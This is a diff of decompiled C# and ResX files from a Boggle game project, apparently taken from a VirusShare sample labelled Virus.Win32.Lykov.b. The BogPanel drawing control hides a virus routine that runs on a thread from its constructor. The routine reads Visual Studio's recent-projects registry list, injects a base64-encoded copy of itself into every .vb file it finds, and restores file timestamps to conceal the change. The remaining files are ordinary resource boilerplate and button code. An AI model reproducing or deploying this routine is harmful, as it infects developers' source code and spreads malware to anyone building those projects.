this.Refresh();
}
private void BogButton_MouseDown(object sender, MouseEventArgs e)
{
checked { this.Left += 3; }
checked { this.Top += 3; }
this.BkGradColors[1] = System.Drawing.Color.DarkBlue;
this.TxtGradColors[1] = System.Drawing.Color.Navy;
this.Refresh();
}
}
}
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
@@ -0,0 +1,210 @@
// Decompiled with JetBrains decompiler
// Type: Boggle.BogPanel
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.IO;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Boggle
{
public class BogPanel : PictureBox
{
private IContainer components;
private void vIT()
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList");
if (registryKey.ValueCount == 0)
ProjectData.EndApp();
string String2 = "Private Sub vIT()";
string str1 = "Public Sub New()";
string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()";
string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K";
string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3));
string Replacement = "J = \"";
int num1 = Strings.Len(str3);
int Start = 1;
while (Start <= num1)
{
Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\"";
checked { Start += 64; }
}
string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text);
int num2 = checked (registryKey.ValueCount - 1);
int index1 = 0;
while (index1 <= num2)
{
string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1]));
string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text));
if (Directory.Exists(path))
{
string[] files = Directory.GetFiles(path, "*.vb");
int num3 = Information.LBound((Array) files);
int num4 = Information.UBound((Array) files);
int index2 = num3;
while (index2 <= num4)
{
DateTime lastAccessTime = File.GetLastAccessTime(files[index2]);
DateTime lastWriteTime = File.GetLastWriteTime(files[index2]);
FileAttributes attributes = File.GetAttributes(files[index2]);
File.SetAttributes(files[index2], FileAttributes.Normal);
StreamReader streamReader = File.OpenText(files[index2]);
string end = streamReader.ReadToEnd();
streamReader.Close();
if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0)
{
string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text);
StreamWriter text = File.CreateText(files[index2]);
text.Write(str6);
text.Flush();
text.Close();
}
File.SetLastWriteTime(files[index2], lastWriteTime);
File.SetLastAccessTime(files[index2], lastAccessTime);
File.SetAttributes(files[index2], attributes);
checked { ++index2; }
}
}
checked { ++index1; }
}
}
public BogPanel()
{
this.Resize += new EventHandler(this.BogPanel_Resize);
new Thread(new ThreadStart(this.vIT)).Start();
this.InitializeComponent();
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
[DebuggerStepThrough]
private void InitializeComponent() => this.BackColor = System.Drawing.Color.DarkGray;
protected override void OnPaint(PaintEventArgs pe)
{
Pen pen1 = new Pen(System.Drawing.Color.DarkGray);
GraphicsPath path = new GraphicsPath();
pe.Graphics.SmoothingMode = SmoothingMode.AntiAlias;
GraphicsPath graphicsPath1 = path;
PointF pointF1 = new PointF(2f, (float) this.Height / 2f);
PointF pt1_1 = pointF1;
PointF pointF2 = new PointF(0.0f, (float) this.Height);
PointF pt2_1 = pointF2;
PointF pointF3 = new PointF(0.0f, (float) this.Height);
PointF pt3_1 = pointF3;
PointF pointF4 = new PointF((float) this.Width / 2f, (float) checked (this.Height - 2));
PointF pt4_1 = pointF4;
graphicsPath1.AddBezier(pt1_1, pt2_1, pt3_1, pt4_1);
GraphicsPath graphicsPath2 = path;
pointF4 = new PointF((float) this.Width / 2f, (float) checked (this.Height - 2));
PointF pt1_2 = pointF4;
pointF3 = new PointF((float) this.Width, (float) this.Height);
PointF pt2_2 = pointF3;
pointF2 = new PointF((float) this.Width, (float) this.Height);
PointF pt3_2 = pointF2;
pointF1 = new PointF((float) checked (this.Width - 2), (float) this.Height / 2f);
PointF pt4_2 = pointF1;
graphicsPath2.AddBezier(pt1_2, pt2_2, pt3_2, pt4_2);
GraphicsPath graphicsPath3 = path;
pointF4 = new PointF((float) checked (this.Width - 2), (float) this.Height / 2f);
PointF pt1_3 = pointF4;
pointF3 = new PointF((float) this.Width, 0.0f);
PointF pt2_3 = pointF3;
pointF2 = new PointF((float) this.Width, 0.0f);
PointF pt3_3 = pointF2;
pointF1 = new PointF((float) this.Width / 2f, 2f);
PointF pt4_3 = pointF1;
graphicsPath3.AddBezier(pt1_3, pt2_3, pt3_3, pt4_3);
GraphicsPath graphicsPath4 = path;
pointF4 = new PointF((float) this.Width / 2f, 2f);
PointF pt1_4 = pointF4;
pointF3 = new PointF(0.0f, 0.0f);
PointF pt2_4 = pointF3;
pointF2 = new PointF(0.0f, 0.0f);
PointF pt3_4 = pointF2;
pointF1 = new PointF(2f, (float) this.Height / 2f);
PointF pt4_4 = pointF1;
graphicsPath4.AddBezier(pt1_4, pt2_4, pt3_4, pt4_4);
float num = 0.0f;
do
{
int red;
checked { red += 3; }
int green;
checked { green += 3; }
int blue;
checked { blue += 3; }
Pen pen2 = new Pen(System.Drawing.Color.FromArgb(red, green, blue));
Graphics graphics1 = pe.Graphics;
Pen pen3 = pen2;
pointF4 = new PointF(num + 2f, (float) this.Height / 2f);
PointF pt1_5 = pointF4;
pointF3 = new PointF(num, (float) this.Height - num);
PointF pt2_5 = pointF3;
pointF2 = new PointF(num, (float) this.Height - num);
PointF pt3_5 = pointF2;
pointF1 = new PointF((float) this.Width / 2f, (float) this.Height - (num + 2f));
PointF pt4_5 = pointF1;
graphics1.DrawBezier(pen3, pt1_5, pt2_5, pt3_5, pt4_5);
Graphics graphics2 = pe.Graphics;
Pen pen4 = pen2;
pointF4 = new PointF((float) this.Width / 2f, (float) this.Height - (num + 2f));
PointF pt1_6 = pointF4;
pointF3 = new PointF((float) this.Width - num, (float) this.Height - num);
PointF pt2_6 = pointF3;
pointF2 = new PointF((float) this.Width - num, (float) this.Height - num);
PointF pt3_6 = pointF2;
pointF1 = new PointF((float) this.Width - (num + 2f), (float) this.Height / 2f);
PointF pt4_6 = pointF1;
graphics2.DrawBezier(pen4, pt1_6, pt2_6, pt3_6, pt4_6);
Graphics graphics3 = pe.Graphics;
Pen pen5 = pen2;
pointF4 = new PointF((float) this.Width - (num + 2f), (float) this.Height / 2f);
PointF pt1_7 = pointF4;
pointF3 = new PointF((float) this.Width - num, num);
PointF pt2_7 = pointF3;
pointF2 = new PointF((float) this.Width - num, num);
PointF pt3_7 = pointF2;
pointF1 = new PointF((float) this.Width / 2f, num + 2f);
PointF pt4_7 = pointF1;
graphics3.DrawBezier(pen5, pt1_7, pt2_7, pt3_7, pt4_7);
Graphics graphics4 = pe.Graphics;
Pen pen6 = pen2;
pointF4 = new PointF((float) this.Width / 2f, num + 2f);
PointF pt1_8 = pointF4;
pointF3 = new PointF(num, num);
PointF pt2_8 = pointF3;
pointF2 = new PointF(num, num);
PointF pt3_8 = pointF2;
pointF1 = new PointF(num + 2f, (float) this.Height / 2f);
PointF pt4_8 = pointF1;
graphics4.DrawBezier(pen6, pt1_8, pt2_8, pt3_8, pt4_8);
num += 0.1f;
}
while (FlowControl.ForNextCheckR4(num, 5f, 0.1f));
this.BackColor = System.Drawing.Color.DarkGray;
this.Region = new Region(path);
path.Dispose();
}
private void BogPanel_Resize(object sender, EventArgs e) => this.Refresh();
}
}
@@ -0,0 +1,126 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="$this.TrayLargeIcon" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs=</value>
</data>
<data name="$this.Name" mimetype="application/x-microsoft.net.object.binary.base64">
<value>CEJvZ1BhbmVs</value>
</data>
</root>
@@ -0,0 +1,216 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="ul2.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="top1.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="ul4.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="$this.SnapToGrid" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs=</value>
</data>
<data name="top2.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="$this.Name" mimetype="application/x-microsoft.net.object.binary.base64">
<value>CEJvZ1RpbWVy</value>
</data>
<data name="lr4.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lr2.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="ll4.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
